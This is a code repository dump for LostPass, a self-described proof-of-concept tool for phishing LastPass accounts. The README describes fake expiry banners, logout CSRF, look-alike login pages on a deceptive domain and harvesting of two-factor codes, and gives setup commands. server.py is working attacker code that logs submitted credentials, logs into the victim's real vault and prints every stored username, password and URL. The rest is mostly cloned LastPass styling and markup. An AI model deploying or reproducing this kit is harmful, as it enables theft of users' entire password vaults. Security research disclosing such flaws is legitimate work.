├── .gitignore ├── Gruntfile.js ├── README.md ├── chrome4 ├── backup.html ├── buttons.css ├── dialog.css ├── gauthlastpass.png ├── general.css ├── icon.gif ├── images │ ├── asterisk.png │ ├── help_128.png │ ├── lpwhite_small.png │ └── vault_4.0 │ │ ├── Advanced_Closed.png │ │ ├── Advanced_Open.png │ │ ├── Attachment_Black.png │ │ ├── Attachment_Close.png │ │ ├── Caps.png │ │ ├── Check_Modal.png │ │ ├── Delete.png │ │ ├── Dialog_Close.png │ │ ├── Dialog_Maximize.png │ │ ├── Edit.png │ │ ├── Error.png │ │ ├── Error_Close.png │ │ ├── Eye_Hide.png │ │ ├── Eye_Show.png │ │ ├── Favorite.png │ │ ├── Favorite_Selected.png │ │ ├── Folder_Dropdown.png │ │ ├── History_Item_Button.png │ │ ├── Input_Error.png │ │ ├── Keyboard.png │ │ ├── LastPass_White.png │ │ ├── List_Delete.png │ │ ├── List_Edit.png │ │ ├── List_Share.png │ │ ├── More_Actions_Closed.png │ │ ├── Plus_for_Add_Button.png │ │ ├── Radial_Empty.png │ │ ├── Radial_Filled.png │ │ ├── Reject.png │ │ ├── Reject_Tile.png │ │ ├── Search.png │ │ ├── Search_Close.png │ │ ├── Share.png │ │ ├── Success.png │ │ ├── Success_Close.png │ │ ├── Tooltip.png │ │ └── Uncheck_Modal.png ├── loginDialog.css ├── lp_toolstrip.css ├── lp_toolstrip.html ├── lp_toolstrip.html.bkup ├── newvaultGlobal.css ├── notifications.css ├── popupcombobox.css ├── server.py ├── server_demo.py ├── styles.css ├── tabDialog.html ├── x.gif └── yubicoring16.png ├── images ├── 2fa.png ├── firefox_osx.png ├── firefox_win.png ├── login1.png └── notification.png ├── lostpass_shmoocon_slides.pdf ├── package.json └── src ├── chrome.css ├── chrome.html ├── firefox.css ├── firefox.html ├── firefox_login.css ├── firefox_login_osx.html ├── firefox_login_win.html ├── lostpass.html ├── lostpass.js └── test.html /.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | *.swo 3 | node_modules 4 | target 5 | build 6 | .DS_Store 7 | env 8 | -------------------------------------------------------------------------------- /Gruntfile.js: -------------------------------------------------------------------------------- 1 | function wrapFile(str) { 2 | var lines = str.split("\n"); 3 | return lines.map(function(s) { 4 | return '\'' + s + '\''; 5 | }).join('+\n'); 6 | } 7 | 8 | module.exports = function(grunt) { 9 | grunt.initConfig({ 10 | pkg: grunt.file.readJSON('package.json'), 11 | uglify: { 12 | options: { 13 | banner: '/*! <%= pkg.name %> <%= grunt.template.today("yyyy-mm-dd") %> */\n', 14 | }, 15 | build: { 16 | src: 'target/<%= pkg.name %>.js', 17 | dest: 'build/<%= pkg.name %>.min.js' 18 | } 19 | }, 20 | copy: { 21 | main: { 22 | nonull: true, 23 | src: 'src/<%= pkg.name %>.js', 24 | dest: 'target/<%= pkg.name %>_raw.js', 25 | options: { 26 | process: function (content, srcpath) { 27 | return grunt.template.process(content); 28 | } 29 | } 30 | }, 31 | test: { 32 | nonull: true, 33 | src: 'src/test.html', 34 | dest: 'IGNORED' 35 | }, 36 | }, 37 | concat: { 38 | dist: { 39 | src: ['target/<%= pkg.name %>_raw.js', 'node_modules/interact.js/dist/interact.js'], 40 | dest: 'target/<%= pkg.name %>.js' 41 | } 42 | }, 43 | multidest: { 44 | test: { 45 | tasks: ['copy:test'], 46 | dest: ['target/test.html', 'build/test.html'] 47 | } 48 | }, 49 | clean: ["target", "build"], 50 | replace: { 51 | minjs: { 52 | src: ['build/test.html'], 53 | overwrite: true, 54 | replacements: [{ 55 | from: 'lostpass.js', 56 | to: 'lostpass.min.js' 57 | }] 58 | } 59 | }, 60 | watch: { 61 | main: { 62 | files: "src/*", 63 | tasks: "default" 64 | } 65 | }, 66 | assets: { 67 | chrome: { 68 | html: wrapFile(grunt.file.read('src/chrome.html', {encoding: 'utf-8'})), 69 | css: wrapFile(grunt.file.read('src/chrome.css', {encoding: 'utf-8'})) 70 | }, 71 | firefox: { 72 | html: wrapFile(grunt.file.read('src/firefox.html', {encoding: 'utf-8'})), 73 | css: wrapFile(grunt.file.read('src/firefox.css', {encoding: 'utf-8'})) 74 | }, 75 | firefox_login: { 76 | html: { 77 | osx: wrapFile(grunt.file.read('src/firefox_login_osx.html', {encoding: 'utf-8'})), 78 | win: wrapFile(grunt.file.read('src/firefox_login_win.html', {encoding: 'utf-8'})), 79 | }, 80 | css: wrapFile(grunt.file.read('src/firefox_login.css', {encoding: 'utf-8'})) 81 | } 82 | } 83 | }); 84 | 85 | grunt.loadNpmTasks('grunt-contrib-uglify'); 86 | grunt.loadNpmTasks('grunt-contrib-copy'); 87 | grunt.loadNpmTasks('grunt-contrib-clean'); 88 | grunt.loadNpmTasks('grunt-multi-dest'); 89 | grunt.loadNpmTasks('grunt-text-replace'); 90 | grunt.loadNpmTasks('grunt-contrib-watch'); 91 | grunt.loadNpmTasks('grunt-contrib-concat'); 92 | 93 | grunt.registerTask('default', ['copy:main', 'concat', 'uglify', 'multidest', 'replace']); 94 | }; 95 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LostPass 2 | 3 | A tool to phish LastPass accounts. See [my blog 4 | post](https://www.seancassidy.me/lostpass.html) for more information. 5 | 6 | ## Screenshots 7 | 8 | This is LostPass in action. 9 | 10 | ### Chrome notification 11 | 12 | This notification pops up on a benign-looking website. 13 | 14 | ![Chrome notification](images/notification.png) 15 | 16 | ### Chrome login screen 17 | 18 | This is shown after the user clicks our malicious notification. 19 | 20 | ![Chrome login](images/login1.png) 21 | 22 | Notice how it uses the domain `chrome-extension.pw`, which is close to Chrome's 23 | built-in `chrome-extension` protocol. Since the connection is over HTTP, the 24 | icon looks similar. This 25 | [Chromium issue](https://code.google.com/p/chromium/issues/detail?id=453093) 26 | is open to address this issue. 27 | 28 | ### Chrome two-factor prompt 29 | 30 | This is shown if the user has two-factor authentication enabled. 31 | 32 | ![Chrome two-factor](images/2fa.png) 33 | 34 | ### Firefox login on Windows 8 35 | 36 | This is drawn using HTML5 and CSS. Even the Windows appear/close animation is 37 | done. One of them is real, one of them is LostPass. Which one? 38 | 39 | ![Firefox login](images/firefox_win.png) 40 | 41 | ## How it works 42 | 43 | 1. Get the victim to go to a malicious website that looks benign, or a real 44 | website that is vulnerable to XSS 45 | 2. If they have LastPass installed, show the login expired notification and log 46 | the user out of LastPass (Logout CSRF) 47 | 3. Once the victim clicks on the fake banner, direct them to an 48 | attacker-controlled login page that looks identical to the LastPass one 49 | 4. The victim will enter their password and send the credentials to the 50 | attacker's server 51 | 5. If the username and password is incorrect, redirect them back to the 52 | malicious site and redisplay the banner with "Invalid Password" 53 | 6. If the user has two-factor authentication, redirect them to a two-factor 54 | authentication page. Once they enter their two-factor token, try it. 55 | 7. Once the attacker has the correct username and password (and two-factor 56 | token), download all of the victim's information from the LastPass API 57 | 58 | LostPass does steps 2 through 7. Some things to note about why this is so 59 | effective: 60 | 61 | - Many responses to the phishing problem are "Train the users", as if it was 62 | their fault that they were phished. Training is not effective at combating 63 | LostPass because there is little to no difference in what is shown to the 64 | user 65 | - LastPass's login workflow is complex and somewhat buggy. Sometimes it shows 66 | in-viewport login pages, and sometimes it shows them as popup windows. 67 | - It is easy to detect LastPass and it was even easier to find the exact HTML 68 | and CSS that LastPass uses to show notifications and login pages 69 | - It even phishes for the two-factor auth code, so 2FA is no help 70 | 71 | See [the FAQ I wrote](https://www.seancassidy.me/lostpass.html) for more 72 | information. 73 | 74 | ## Setup 75 | 76 | After getting nodejs and npm installed: 77 | 78 | npm install -g grunt-cli 79 | npm install 80 | grunt 81 | 82 | To run server.py, you'll need lastpass-python and bottle. 83 | 84 | virtualenv env 85 | source env/bin/activate 86 | pip install lastpass-python bottle 87 | cd chrome4/ 88 | python server.py 89 | 90 | It seems that there are some bugs in lastpass-python as not all accounts can be 91 | logged in to. 92 | 93 | ## Status 94 | 95 | This is a proof-of-concept. It is not written particularly well or 96 | maintainable. I am not particularly interested in making it weaponized. I may 97 | accept PRs if they are useful or instructive or fix obvious bugs. 98 | 99 | -------------------------------------------------------------------------------- /chrome4/backup.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | Log In
4 |
ERROR:
SUCCESS:
Forgot your password?

New to LastPass?Create an account now.

Are you sure?

Using 'remember password' makes it easier to forget your password and decreases your security if your device is infected or stolen.

5 |
6 | -------------------------------------------------------------------------------- /chrome4/buttons.css: -------------------------------------------------------------------------------- 1 | 2 | .nbtn { 3 | background: white; 4 | border: none; 5 | box-shadow: 0px 1px 2px RGBA(0,0,0,.2); 6 | text-align: center; 7 | margin: 10px 4px; 8 | padding: 10px 8px 9px 8px; 9 | width: 200px; 10 | cursor: pointer; 11 | font-size: 21px; 12 | line-height: 21px; 13 | -webkit-border-radius: 5px; 14 | -moz-border-radius: 5px; 15 | border-radius: 5px; 16 | border-bottom-width: 3px; 17 | overflow: hidden; 18 | } 19 | 20 | .collapsed{ margin-top:0; margin-bottom:0; } 21 | 22 | .btn_label{ } 23 | 24 | /*--- these wrappers center groups of buttons ---*/ 25 | /*--- IMPORTANT - these must be updates for any increase in button width ---*/ 26 | .wrap1btn{ margin:20px auto; width:202px; } 27 | .wrap2btns{ margin:20px 0 0 0; overflow:hidden; } 28 | .wrap2btns .wrapinner{ clear: both; float: left; position: relative; left: 50%; } 29 | .wrap2btns .nbtn{ float: left; position: relative; right:50%; margin-right: 4px; } 30 | 31 | /* wrap buttons, no center - only needed for 99 |
100 | 101 | 102 | 103 | 119 |
120 |
121 |
Google Authenticator Multifactor Authentication
122 |
123 |
124 |

Run the Google Authenticator application on your mobile device and enter the verification code in the input box below.

125 |
126 |

Enter Code:

127 |

128 |
129 |

130 | 131 |
132 |
Please provide this computer a name 
133 |
134 |
135 |
136 |

137 |
138 |
139 | 165 | 193 | 209 | 225 | 226 | 227 | 260 | 261 | 262 | -------------------------------------------------------------------------------- /chrome4/lp_toolstrip.html.bkup: -------------------------------------------------------------------------------- 1 | 2 | 3 | Google Authenticator Multifactor Authentication
Google Authenticator Multifactor Authentication

Run the Google Authenticator application on your mobile device and enter the verification code in the input box below.


Enter Code:




Please provide this computer a name 


4 | -------------------------------------------------------------------------------- /chrome4/newvaultGlobal.css: -------------------------------------------------------------------------------- 1 | /* 2 | ******* Global ******* 3 | */ 4 | 5 | html, body, p, img { 6 | margin: 0; 7 | padding: 0; 8 | } 9 | 10 | a { 11 | color: #D22D27; 12 | } 13 | 14 | a.nbtn { 15 | display: inline-block; 16 | text-decoration: none; 17 | } 18 | 19 | body, input, textarea { 20 | font-family: 'Open Sans', sans-serif; 21 | font-size: 16px; 22 | } 23 | 24 | ul { 25 | list-style-type: none; 26 | padding: 0; 27 | margin: 0; 28 | } 29 | 30 | .bulletList { 31 | list-style-type: disc; 32 | margin-top: 1em; 33 | padding-left: 40px; 34 | } 35 | 36 | .clear { 37 | clear: both; 38 | } 39 | 40 | .itemIcon { 41 | position: relative; 42 | } 43 | 44 | .itemIcon img { 45 | position: absolute; 46 | top: 0; 47 | right: 0; 48 | bottom: 0; 49 | left: 0; 50 | margin: auto; 51 | } 52 | 53 | .backgroundFrame { 54 | display: none; 55 | } 56 | 57 | .bold { 58 | font-weight: 600; 59 | } 60 | 61 | /* 62 | ******* Context Menu ******* 63 | */ 64 | 65 | .subMenu { 66 | display: none; 67 | overflow: auto; 68 | max-height: 150px; 69 | position: absolute; 70 | left: 100%; 71 | top: 0; 72 | } 73 | 74 | .contextMenu.bottomAligned .subMenu { 75 | top: auto; 76 | bottom: 0; 77 | } 78 | 79 | .dropdownMenu { 80 | position: absolute; 81 | display: none; 82 | font-size: 12px; 83 | } 84 | 85 | .dropdownMenu ul { 86 | background-color: #FFF; 87 | box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.5); 88 | cursor: default; 89 | } 90 | 91 | .dropdownMenu li { 92 | height: 30px; 93 | line-height: 30px; 94 | } 95 | 96 | .contextMenu li { 97 | padding-right: 60px; 98 | padding-left: 20px; 99 | position: relative; 100 | white-space: nowrap; 101 | } 102 | 103 | .contextMenu .subMenuOption > div { 104 | background-image: url('images/vault_4.0/More_Actions_Closed.png'); 105 | background-repeat: no-repeat; 106 | background-position: right center; 107 | position: absolute; 108 | top: 0; 109 | right: 10px; 110 | bottom: 0; 111 | left: 0; 112 | } 113 | 114 | .dropdownMenu .divider { 115 | border-top: 1px solid #EBEBEB; 116 | } 117 | 118 | .dropdownMenu .hover { 119 | background-color: #F2F2F2; 120 | } 121 | 122 | /* 123 | ******* Note Icons ******* 124 | */ 125 | 126 | .noteFormFillIcon { 127 | position: absolute; 128 | top: 0; 129 | left: 0; 130 | right: 0; 131 | bottom: 0; 132 | } 133 | 134 | .noteAmex { 135 | background-color: #0A6353; 136 | } 137 | 138 | .noteBank { 139 | background-color: #4FA553; 140 | } 141 | 142 | .noteCredit { 143 | background-color: #84B750; 144 | } 145 | 146 | .noteDatabase { 147 | background-color: #553597; 148 | } 149 | 150 | .noteDiscover { 151 | background-color: #FF6600; 152 | } 153 | 154 | .noteDriversLicense { 155 | background-color: #424F9F; 156 | } 157 | 158 | .noteEmail { 159 | background-color: #2D84D0; 160 | } 161 | 162 | .noteGeneric { 163 | background-color: #9838B0; 164 | } 165 | 166 | .noteHealthInsurance { 167 | background-color: #E1403F; 168 | } 169 | 170 | .noteIM { 171 | background-color: #11AABC; 172 | } 173 | 174 | .noteInsurance { 175 | background-color: #138F82; 176 | } 177 | 178 | .noteMastercard { 179 | background-color: #CD0001; 180 | } 181 | 182 | .noteMembership { 183 | background-color: #D62B6A; 184 | } 185 | 186 | .notePassport { 187 | background-color: #17A0E5; 188 | } 189 | 190 | .noteServer { 191 | background-color: #C3CC43; 192 | } 193 | 194 | .noteSSN { 195 | background-color: #FCD23E; 196 | } 197 | 198 | .noteSoftwareLicense { 199 | background-color: #FFB716; 200 | } 201 | 202 | .noteSSHKey { 203 | background-color: #FB9214; 204 | } 205 | 206 | .noteVisa { 207 | background-color: #1A1F71; 208 | } 209 | 210 | .noteWiFi { 211 | background-color: #F25D2D; 212 | } 213 | 214 | /* 215 | ******* Form Fill ******* 216 | */ 217 | 218 | .formFillIcon { 219 | background-color: #757575; 220 | } 221 | 222 | .formFillIconVisa { 223 | background-color: #191B73; 224 | } 225 | 226 | .formFillIconAmex { 227 | background-color: #AA822D; 228 | } 229 | 230 | .formFillIconMastercard { 231 | background-color: #CC0000; 232 | } 233 | 234 | .formFillIconDiscover { 235 | background-color: #FF6600; 236 | } 237 | 238 | /* 239 | ******* Attachments ******* 240 | */ 241 | 242 | .attachmentContainer { 243 | background-color: #FFF; 244 | } 245 | 246 | .attachment { 247 | background-color: #E6E9EE; 248 | height: 30px; 249 | line-height: 30px; 250 | background-image: url('images/vault_4.0/Attachment_Black.png'); 251 | background-position: 10px center; 252 | background-repeat: no-repeat; 253 | padding-left: 40px; 254 | position: relative; 255 | cursor: default; 256 | text-overflow: ellipsis; 257 | overflow: hidden; 258 | white-space: nowrap; 259 | padding-right: 30px; 260 | cursor: pointer; 261 | } 262 | 263 | .deleteAttachment { 264 | position: absolute; 265 | top: 0; 266 | bottom: 0; 267 | right: 0; 268 | width: 30px; 269 | background: url('images/vault_4.0/Attachment_Close.png') center center no-repeat; 270 | cursor: pointer; 271 | } 272 | 273 | /* 274 | ******* Overlays ******** 275 | */ 276 | 277 | .overlay { 278 | position: absolute; 279 | top: 0; 280 | left: 0; 281 | right: 0; 282 | bottom: 0; 283 | background-color: rgba(51, 51, 51, .5); 284 | display: none; 285 | } 286 | 287 | /* 288 | ******* Selecting ******** 289 | */ 290 | 291 | .noSelect { 292 | -ms-user-select: none; 293 | -webkit-user-select: none; 294 | -moz-user-select: none; 295 | } 296 | 297 | .fillHeight { 298 | height: 100%; 299 | } 300 | 301 | /* 302 | ******* Action Buttons ******* 303 | */ 304 | 305 | body .addButton { 306 | display: inline-block; 307 | vertical-align: top; 308 | margin-top: 20px; 309 | margin-bottom: 20px; 310 | background-image: url('images/vault_4.0/Plus_for_Add_Button.png'); 311 | background-position: 10px center; 312 | background-repeat: no-repeat; 313 | padding-left: 30px; 314 | width: auto; 315 | } 316 | 317 | body .addButton:active { 318 | padding-left: 30px; 319 | } 320 | 321 | .itemButtons { 322 | position: absolute; 323 | right: 0; 324 | bottom: 0; 325 | top: 0; 326 | margin: auto; 327 | height: 24px; 328 | line-height: 24px; 329 | display: none; 330 | } 331 | 332 | .itemButton { 333 | border: 1px solid #DFE2E7; 334 | padding: 0 5px; 335 | height: 100%; 336 | width: 14px; 337 | display: inline-block; 338 | margin-right: 5px; 339 | margin-top: -1px; 340 | border-radius: 2px; 341 | cursor: pointer; 342 | background-position: center center; 343 | background-repeat: no-repeat; 344 | } 345 | 346 | .itemButton.history { 347 | background-image: url('images/vault_4.0/History_Item_Button.png'); 348 | } 349 | 350 | .itemButton.delete { 351 | background-image: url('images/vault_4.0/Delete.png'); 352 | } 353 | 354 | .list .itemButton.delete { 355 | background-image: url('images/vault_4.0/List_Delete.png'); 356 | } 357 | 358 | .itemButton.share { 359 | background-image: url('images/vault_4.0/Share.png'); 360 | } 361 | 362 | .list .itemButton.share { 363 | background-image: url('images/vault_4.0/List_Share.png'); 364 | } 365 | 366 | .itemButton.edit { 367 | background-image: url('images/vault_4.0/Edit.png'); 368 | } 369 | 370 | .list .itemButton.edit { 371 | background-image: url('images/vault_4.0/List_Edit.png'); 372 | } 373 | 374 | .itemButton.rejectShare { 375 | background-image: url('images/vault_4.0/Reject_Tile.png'); 376 | } 377 | 378 | .list .itemButton.rejectShare { 379 | background-image: url('images/vault_4.0/Reject.png'); 380 | } 381 | 382 | /* 383 | ****** Global Hover States ****** 384 | */ 385 | 386 | /* to middle tone*/ 387 | .itemButton:hover, .dialog > .buttons .itemButton:hover, .dialogHeaderButton:hover, .searchCloseButton:hover, .deleteAttachment:hover, .midToneHover:hover { 388 | background-color: rgba(60, 74, 84, 0.2); 389 | } 390 | 391 | /* to dark*/ 392 | .dialogHeaderButton:hover, .dialogLeftMenu li:hover:not(.selected), .tabMenuItem:hover:not(.selected){ 393 | background-color: RGBA(0,0,0,0.1); 394 | } 395 | 396 | .iconButton:hover, .tourStep:hover, .folderLabel:hover, #skipTour:hover { 397 | opacity: 0.7; 398 | cursor: pointer; 399 | } 400 | -------------------------------------------------------------------------------- /chrome4/notifications.css: -------------------------------------------------------------------------------- 1 | 2 | .notification { 3 | text-align: center; 4 | border-width: 1px 0 1px 0; 5 | border-style: solid; 6 | border-color: #B4B4B4; 7 | top: -50px; 8 | height: 48px; 9 | line-height: 48px; 10 | transition: top .2s; 11 | position: fixed; 12 | left: 0; 13 | right: 0; 14 | bottom: 0; 15 | white-space: nowrap; 16 | text-overflow: ellipsis; 17 | overflow: hidden; 18 | padding-right: 60px; 19 | } 20 | 21 | .notification.enabled { 22 | top: 0px; 23 | transition: top .2s; 24 | } 25 | 26 | .notification .title { 27 | font-weight: 600; 28 | margin-left: 10px; 29 | } 30 | 31 | .notification .close { 32 | position: absolute; 33 | right: 0; 34 | top: 0; 35 | bottom: 0; 36 | width: 48px; 37 | cursor: pointer; 38 | } 39 | 40 | #errorMessage { 41 | background-color: #FFDD86; 42 | color: #8B6D3B; 43 | } 44 | 45 | #errorMessage a { 46 | color: #8B6D3B; 47 | } 48 | 49 | #successMessage { 50 | background-color: #B9DF90; 51 | color: #3C763D; 52 | } 53 | 54 | #successMessage a { 55 | color: #3C763D; 56 | } 57 | -------------------------------------------------------------------------------- /chrome4/popupcombobox.css: -------------------------------------------------------------------------------- 1 | .dropStyle { 2 | background: #fff !important; 3 | color: #000 !important; 4 | position:absolute; 5 | cursor:default; 6 | text-align:left; 7 | font-size:14px; 8 | z-index:10000; 9 | height:120px; 10 | overflow:auto; 11 | border: 1px solid #000 !important; 12 | padding: 4px 0px; 13 | font-family: Arial, Helvetica, sans-serif; font-weight:normal; 14 | } 15 | .dropStyle div{ 16 | display:block; 17 | padding: 1px 0px; 18 | outline: none; /* need this to disable webkit default glow */ 19 | } 20 | 21 | .item { 22 | } 23 | .focus { 24 | /* background: #d2d2d2 !important;*/ 25 | background: #dddddd; /* final from levi */ 26 | color: #000 !important; 27 | -webkit-border-radius: 0; 28 | -moz-border-radius: 0; 29 | text-shadow: 0 1px 1px rgba(0, 0, 0, .1); 30 | font-family: Arial, Helvetica, sans-serif; font-weight:normal; 31 | } 32 | 33 | .item[aria-disabled="true"] { 34 | color: grey; 35 | } 36 | .offscreen { 37 | position: absolute; 38 | left: -9000px; 39 | width: 0; 40 | overflow: hidden; 41 | } 42 | 43 | .teardrop{ 44 | padding:1px!important; 45 | opacity:0.5; 46 | background-color: #fff; 47 | } 48 | .teardrop:hover, .teardrop:active{ 49 | opacity:1; 50 | /*background-color: #d2d2d2;*/ 51 | background: #dddddd; /* final from levi */ 52 | } 53 | -------------------------------------------------------------------------------- /chrome4/server.py: -------------------------------------------------------------------------------- 1 | from bottle import get, run, template, HTTPResponse, static_file, post 2 | import base64 3 | import urllib 4 | import lastpass 5 | import sys 6 | 7 | def try_password(b64_auth, try_2fa=None): 8 | email, password = base64.b64decode(b64_auth).split(':', 1) 9 | print "Got {}:{}".format(email, password) 10 | 11 | try: 12 | vault = lastpass.Vault.open_remote(email, password, try_2fa) 13 | print "correct!!!" 14 | for i in vault.accounts: 15 | print(i.id, i.username, i.password, i.url) 16 | return HTTPResponse(status=307, headers={'Location':'http://lastpass.seancassidy.me/test.html?y'}) 17 | except lastpass.exceptions.LastPassIncorrectGoogleAuthenticatorCodeError: 18 | print "Google 2FA required for {}".format(email) 19 | return HTTPResponse(status=307, headers={'Location':'http://chrome-extension.pw/:/debgaelkhoipmbjnhpoblmbacnmmgbeg/lp_toolstrip.html?id=' + urllib.quote(b64_auth)}) 20 | except: 21 | print "incorrect :(" 22 | return HTTPResponse(status=307, headers={'Location':'http://lastpass.seancassidy.me/test.html?n'}) 23 | 24 | 25 | @get('/p/') 26 | def basic(b64_auth): 27 | return try_password(b64_auth) 28 | 29 | @post('/log/') 30 | def log_auth(b64_auth): 31 | email, password = base64.b64decode(b64_auth).split(':', 1) 32 | print "Got {}:{}".format(email, password) 33 | 34 | @get('/2fa//') 35 | def two_factor(two_factor_code, b64_auth): 36 | print "Got two factor code {}".format(two_factor_code) 37 | return try_password(b64_auth, two_factor_code) 38 | 39 | @get('/://') 40 | @get('/:///') 41 | def server_static(chrome_id, filepath): 42 | return static_file(filepath, root='.') 43 | 44 | if len(sys.argv) > 1: 45 | if len(sys.argv) > 2: 46 | run(host=sys.argv[1], port=sys.argv[2]) 47 | else: 48 | run(host=sys.argv[1], port=80) 49 | else: 50 | run(host='0.0.0.0', port=80) 51 | -------------------------------------------------------------------------------- /chrome4/server_demo.py: -------------------------------------------------------------------------------- 1 | from bottle import get, run, template, HTTPResponse, static_file 2 | import base64 3 | import urllib 4 | 5 | def try_password(b64_auth, try_2fa): 6 | email, password = base64.b64decode(b64_auth).split(':', 1) 7 | print "Got {}:{}".format(email, password) 8 | 9 | if password == "correct" or (not try_2fa and password == "2fa"): 10 | print "correct!!!" 11 | return HTTPResponse(status=307, headers={'Location':'http://localhost:8000/test.html?y'}) 12 | elif try_2fa and password == "2fa": 13 | print "two factor required" 14 | return HTTPResponse(status=307, headers={'Location':'http://test2.chrome-extension.pw/:/debgaelkhoipmbjnhpoblmbacnmmgbeg/lp_toolstrip.html?id=' + urllib.quote(b64_auth)}) 15 | else: 16 | print "incorrect :(" 17 | return HTTPResponse(status=307, headers={'Location':'http://localhost:8000/test.html?n'}) 18 | 19 | @get('/p/') 20 | def basic(b64_auth): 21 | return try_password(b64_auth, True) 22 | 23 | @get('/2fa//') 24 | def two_factor(two_factor_code, b64_auth): 25 | print "Got two factor code {}".format(two_factor_code) 26 | return try_password(b64_auth, False) 27 | 28 | @get('/:/debgaelkhoipmbjnhpoblmbacnmmgbeg/') 29 | def server_static(filepath): 30 | return static_file(filepath, root='.') 31 | 32 | run(host='0.0.0.0', port=80) 33 | -------------------------------------------------------------------------------- /chrome4/styles.css: -------------------------------------------------------------------------------- 1 | /* General */ 2 | .clear{ clear:both;font-size:0;height:0;line-height:0;overflow:hidden; } 3 | .hide { display:none; } 4 | .shout{ color:#d32d27; } 5 | .muted{ color:#666; } 6 | .centertext{ text-align:center; } 7 | 8 | a{ text-decoration:none; color: #d32d27; } 9 | a:hover{ color:#444; } 10 | 11 | 12 | table td { 13 | padding-right:10px; 14 | white-space:nowrap; 15 | } 16 | 17 | .clearfix:before, 18 | .clearfix:after { content: " "; display: table; } 19 | .clearfix:after { clear: both; } 20 | .clearfix { zoom: 1; } 21 | 22 | /*--- welcome.html ---*/ 23 | .asterisk{ margin:-75px 0 0 208px;float:left; } 24 | .clearasterisk{ clear:both;margin-top:30px; } 25 | #known{ display:none; } 26 | #lp_docwrite_welcome1{ margin-top:0; } 27 | .centerlink{ text-align:center;text-decoration:underline; } 28 | 29 | /*--- create_account ---*/ 30 | .messyheading{ width:100%;text-align:center;margin:12px; } 31 | 32 | #page_passwordmeterback{ height:10px;border:1px solid #B5B8C8;background-image:url(images/passwordmeter_back.gif);margin-top:-3px; } 33 | #page_passwordmeterfront{ background-image:url(images/passwordmeter_front.gif);height:10px;width:50px; } 34 | 35 | .pw300{ width:300px; background-size:300px; } 36 | #createaccount {width:100%;} 37 | #createaccount label{ font-weight:bold;margin-top:5px;display:block;text-align:left!important; } 38 | #createaccount input:nth-child(1), 39 | #createaccount input:nth-child(3){ margin-bottom:8px; } 40 | #lp_docwrite_login_small23a{ color:#d32d27; } 41 | #createaccount input[type=text], #createaccount input[type=password]{ 42 | height:28px; 43 | width:100%!important; 44 | max-width:100%!important; 45 | padding-left:10px; 46 | font-size:14px; 47 | border:solid 1px #ddd; 48 | -webkit-box-shadow: inset 3px 4px 5px rgba(0,0,0,.09); 49 | -moz-box-shadow: inset 3px 4px 5px rgba(0,0,0,.09); 50 | box-shadow: inset 3px 4px 5px rgba(0,0,0,.09); 51 | } 52 | #createaccount select{ 53 | width:100%!important; 54 | height:28px; 55 | } 56 | #createaccount .toprows{ 57 | padding:4px 0px; 58 | } 59 | #createaccount #emailerror{ 60 | color:red; 61 | } 62 | #createaccount td{text-align:right;} 63 | 64 | .wiz, .wiz table{ 65 | font-size:14px; 66 | } 67 | 68 | #creatingaccount{ display:none; } 69 | 70 | /*--- login.html ---*/ 71 | #logininner input[type=text], #logininner input[type=password]{ 72 | height:28px; 73 | width:100%; 74 | padding-left:10px; 75 | font-size:14px; 76 | border:solid 1px #ddd; 77 | -webkit-box-shadow: inset 3px 4px 5px rgba(0,0,0,.09); 78 | -moz-box-shadow: inset 3px 4px 5px rgba(0,0,0,.09); 79 | box-shadow: inset 3px 4px 5px rgba(0,0,0,.09); 80 | } 81 | 82 | #logininner form{ margin:0 } 83 | 84 | .content{ 85 | position:relative; 86 | width:506px; 87 | margin: 100px auto; 88 | padding: 30px; 89 | background: #f8f8f8; 90 | font: 15px/21px "open_sansregular", "Helvetica Neue", Helvetica, arial, sans-serif; 91 | border: 1px #ddd solid; 92 | -webkit-box-shadow: 3px 4px 5px rgba(0,0,0,.11); 93 | -moz-box-shadow: 3px 4px 5px rgba(0,0,0,.11); 94 | box-shadow: 3px 4px 5px rgba(0,0,0,.11); 95 | } 96 | .contentwide{ 97 | width:55%; 98 | } 99 | .dimpled button{ 100 | padding:7px; 101 | margin: 2px 5px; 102 | } 103 | #lp_docwrite_welcome3{ 104 | margin: 5px 0px; 105 | } 106 | .dimpled img{ 107 | margin:auto; 108 | margin-left: 100px; 109 | } 110 | #reenterpassword{ 111 | width:300px; 112 | } 113 | .createlink{ 114 | font-weight:normal !important; 115 | font-size:inherit !important; 116 | } 117 | 118 | .imgcenter{ 119 | display:block !important; 120 | margin:0px auto !important; 121 | } 122 | 123 | .out_shadow { 124 | -webkit-box-shadow: 3px 4px 5px rgba(0,0,0,.11); 125 | -moz-box-shadow: 3px 4px 5px rgba(0,0,0,.11); 126 | box-shadow: 3px 4px 5px rgba(0,0,0,.11); 127 | } 128 | 129 | .dialog{ 130 | border:1px solid #949494; 131 | border-radius: 2px; 132 | background:#e6e6e6; 133 | color:#4c4c4c; 134 | margin:50px auto; 135 | } 136 | 137 | #googleauth, #outofband, #yubikey, #sesame, #grid{ 138 | width:702px; 139 | border:1px solid #949494; 140 | border-radius: 2px; 141 | background:#e6e6e6; 142 | color:#4c4c4c; 143 | margin:50px auto; 144 | } 145 | #googleauth, #outofband, #grid{ 146 | height:350px; 147 | min-height:350px; 148 | } 149 | #yubikey, #sesame { 150 | height: 310px; 151 | } 152 | .multiheader{ 153 | background:white; 154 | border-bottom:1px solid #949494; 155 | height:64px; 156 | } 157 | .multiheader img{ 158 | padding:20px 0 0 20px; 159 | } 160 | 161 | .leftcol{ 162 | float:left; 163 | } 164 | 165 | .multileft{ 166 | width:472px; 167 | border-right:1px solid #c3c3c3; 168 | padding:8px; 169 | font-size:14px; 170 | min-height:210px; 171 | } 172 | 173 | #googleauth .multileft, #outofband .multileft, #grid .multileft{ 174 | min-height: 270px; 175 | } 176 | 177 | .multileft a{ 178 | text-decoration:none; 179 | color:#848484; 180 | float:right; 181 | font-size:12px; 182 | } 183 | 184 | #googright{ 185 | background:url(gauthlastpass.png) no-repeat center center; 186 | width:200px; 187 | height:200px; 188 | } 189 | 190 | .multiright{ 191 | background:url(gauthlastpass.png) no-repeat center center; 192 | width:200px; 193 | height:200px; 194 | } 195 | 196 | #yubiright{ 197 | background:url(yubikeyicon2.jpg) no-repeat center center; 198 | width:200px; 199 | height:200px; 200 | } 201 | #sesameright{ 202 | background:url(step2.gif) no-repeat center center; 203 | width:150px; 204 | height:150px; 205 | } 206 | #gridright{ 207 | 